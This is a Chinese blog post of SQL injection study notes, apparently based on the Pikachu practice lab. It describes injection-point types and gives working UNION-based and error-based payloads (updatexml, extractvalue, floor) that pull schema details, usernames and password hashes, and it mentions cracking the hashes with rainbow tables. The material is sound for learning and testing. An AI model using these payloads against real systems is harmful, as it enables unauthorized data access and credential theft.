博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
sql注入学习笔记(一)
阅读量:2061 次
发布时间:2019-04-29

本文共 4116 字,大约阅读时间需要 13 分钟。

SQL注入漏洞的基本原理和概念

数据库注入漏洞,主要是开发人员在开发过程中对前端输入的参数未进行过滤,导致攻击者可以通过合法的输入点提交一些精心构造的语句,从而欺骗后台数据库对其进行执行,导致数据库信息泄漏的一种漏洞。

sql注入原理示意图

SQL Inject漏洞攻击流程

第一步:注入点探测

自动方式:使用web漏洞扫描工具,自动进行注入点发现
手动方式:手工构造sql inject测试语句进行注入点发现

第二步:信息获取

通过注入点取期望得到的数据

  1. 环境信息:数据库类型数据库版本,操作系统版本用户信息等。
  2. 数据库信息:数据库名称数据库表,表字段,字段內容(加密内容破解)

第三步:获取权限

获取操作系统权限:通过数据库执行shell,上传木马

SQL Inject漏洞常见注入点类型

数字型 user_id=$id字符型 user_id='$id'搜索型 text LIKE "%{$_GET['search']}%"

1.数字型

select 字段1,字段2 from 表名 where id=1 or 1=1;

后台代码

后台代码

2.字符型

select 字段1,字段2 from表名 where username = 'kobe' or 1=1 #';kobe' or 1=1 #
后台代码

3.搜索型

like '%xxx%'  or 1=1#%

基于union的信息获取

union联合查询:可以通过联合查询来查询指定的数据

用法举例

select username, password from user where id=1 union select 字段1,字段2 from 表名select database(); #获取当前的数据库名称select user(); #获取当前的用户权限select version(); #获取数据库的软件版本select username, password from user where username=' ' union select database(), user() #Select @@global version_compile_os from mysql_user;

联合查询的字段数需要和主查询一致!

如何猜测查询的字段数

思路:对查询的结果使用 order by按照指定的列进行排序,如果指定的列不存在,数据库会报错。

select id, email from member where username ='kobe' order by 2

information_schema数据库

可参考

在mysql中,自带的 information_schema数据库中存放了大量的重要信息。

如果存在注入点的话,可以直接尝试对该数据库进行访问,从而获取更多的信息。
比如:

SCHEMATA表:提供了当前mysq实例中所有数据库的信息。是 show databases的结果取之此表

TABLES表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个 schema,表类型,表引擎,创建时间等信息。是 show tables from schemaname的结果取之此表。
COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及毎个列的信息。是 show columns from schemaname.tablename的结果取之此

#获取表名select id, email from member where username = 'kobe' union select table_schema table_name from information_schema.tables where table_schema='pikachu'#payload:kobe' union select table_schema,table_name from information_schema.tables where table_schema='pikachu'#获取字段名:select id, email from member where username ='kobe' union select table_name, column_name from information_schema.columns where table_name='user'#payload:kobe' union select table_name, column_name from information_schema.columns where table_name='user'##获取内容select id, email from member where username ='kobe' union select username, password from users#test pay load:kobe' union select username, password from users#

查询出来的密码md5值可以使用彩虹表进行查询

基于函数报错的信息获取

  • 常用的报错函数 updatexml()、 extractvalue()、floor()
  • 基于函数报错的信息获取( select/insert,/ update/ delete)

技巧思路:

在 MYSQL中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息

select/insert/ update/delete都可以使用报错来获取信息

背景条件

后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端。

  • updatexmI()函数是MYSQ对XML文档数据进行查询和修改的 XPATH函数 可参考

  • extractvalue()(函数也是 MYSQL,对XML文档数据进行查询的 XPATH函数。

  • floor() MYSQL中用来取整的函数

updatexml

UPDATEXML (XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。会执行这个表达式,并返回报错结果
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
另外,updatexml最多只能显示32位,需要配合SUBSTR使用

基于报错: updatexmL()payload:kobe' and updatexml(1, version(),0)#kobe' and updatexml(1, concat(0x7e,version()),0)#结果 XPATH syntax error:'~5.7.21'kobe' and updatexml(1,concat(0x7e,database ()),0)##报错只能一次显示一行kobe' and updatexml(1, concat(0x7e, (select table_name from information_ schema.tables where table_schema='pikachu')),0)#可以使用imit一次一行进行获取表名kobe' and updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema='pikachu' limit 0, 1)),0)#在获取列名,思路是一样的kobe' updatexml(1, concat(0x7e, (select column_name from information_schema.columns where table_name=users limit 0,1),0)#获取到列名称后,再来获取数据kobe' and updatexml(l, concat(0x7e, (select username from users limit 0, 1)),0)#kobe'  and updatexml(l, concat(0x7e,(select password from users where username='admin limit 0, 1)),0)#基于 insert下的报错xiaohong' or updatexml(1, concat(0x7e, database()),0) or基于 delete下的报错1 or updatexml(1, concat(0x7e,database ()),0)

extractvalue函数

这个函数使用方法与updatexml类似

extractvalue()函数作用:从目标XML中返回包含所查询值的字符串

ExtractValue(xml_document, xpath_string)

第一个参数: XML document是 String格式,为XML文档对象的名称,文中为DoCc
第二个参数: XPath_string(Xpath格式的字符串)
Xpath定位必须是有效的,否则则会发生错误

基于 extractvalue()

kobe' and extractvalue(0,concat(0x7e, version ()))#

floor函数

kobe' and (select 2 from (select count(*), concat (version (), floor( rand(0)*2))x from information_schema.tables group by x)a)#

参考资料

转载地址:http://beqlf.baihongyu.com/

你可能感兴趣的文章
Git安装配置
查看>>
linux中fork()函数详解
查看>>
C语言字符、字符串操作偏僻函数总结
查看>>
Git的Patch功能
查看>>
分析C语言的声明
查看>>
TCP为什么是三次握手,为什么不是两次或者四次 && TCP四次挥手
查看>>
C结构体、C++结构体、C++类的区别
查看>>
进程和线程的概念、区别和联系
查看>>
CMake 入门实战
查看>>
绑定CPU逻辑核心的利器——taskset
查看>>
Linux下perf性能测试火焰图只显示函数地址不显示函数名的问题
查看>>
c结构体、c++结构体和c++类的区别以及错误纠正
查看>>
Linux下查看根目录各文件内存占用情况
查看>>
A星算法详解(个人认为最详细,最通俗易懂的一个版本)
查看>>
利用栈实现DFS
查看>>
逆序对的数量(递归+归并思想)
查看>>
数的范围(二分查找上下界)
查看>>
算法导论阅读顺序
查看>>
Windows程序设计:直线绘制
查看>>
linux之CentOS下文件解压方式
查看>>